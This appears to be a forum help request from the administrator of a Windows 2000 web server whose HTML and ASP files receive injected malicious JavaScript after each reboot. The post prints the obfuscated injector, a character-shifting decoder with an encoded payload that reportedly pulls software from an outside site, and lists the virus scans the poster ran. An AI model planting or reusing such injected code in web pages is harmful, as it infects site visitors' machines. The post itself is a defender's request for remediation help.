Win2000 Server Malicious Code Injected to Web Pages

Upon rebooting of the server, all HTML and ASP files have malicious javascript injected that goes to some web site and attempts to download software onto a user's machine. Luckily, no users of the web site have been affected because the web site has been put into maintenance mode - however, it cannot stay like that forever, and at some point, I WILL have to reboot - I don't want the pages to get infected again.

The malicious code is this:
<script language = "javascript">function monkey(s){
//var s1=unescape(s.substr(0,s.length)); var t='';
//for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7);
//document.write(unescape(t));
};
//monkey('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%2E%2C%1E%2C%2F%1E%2F%3A%1E%2E%30%1E%2E%29%1E%2D%3A%1E%2C%30%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>
I have commented it, and the monkey part is not always the same - makes it really difficult to do a search and replace.

I had run Norton AV and it found nothing. I also ran Sophos rootkit, and it came out clean. Then I ran Panda ActiveScan and it found several things. The contents of that file is below:

Additionally, I ran hijackthis, and this is what it found (it looks pretty innocent, just programs a web server would run - but I could be wrong). Hijackthis below:

There is a hardware firewall installed for this server. Before the firewall was installed, there was a brute force FTP attack, and I found a link supposedly to Symantec that was in actuality an infected file on the desktop. The file has since been erased, so I do not have it available.
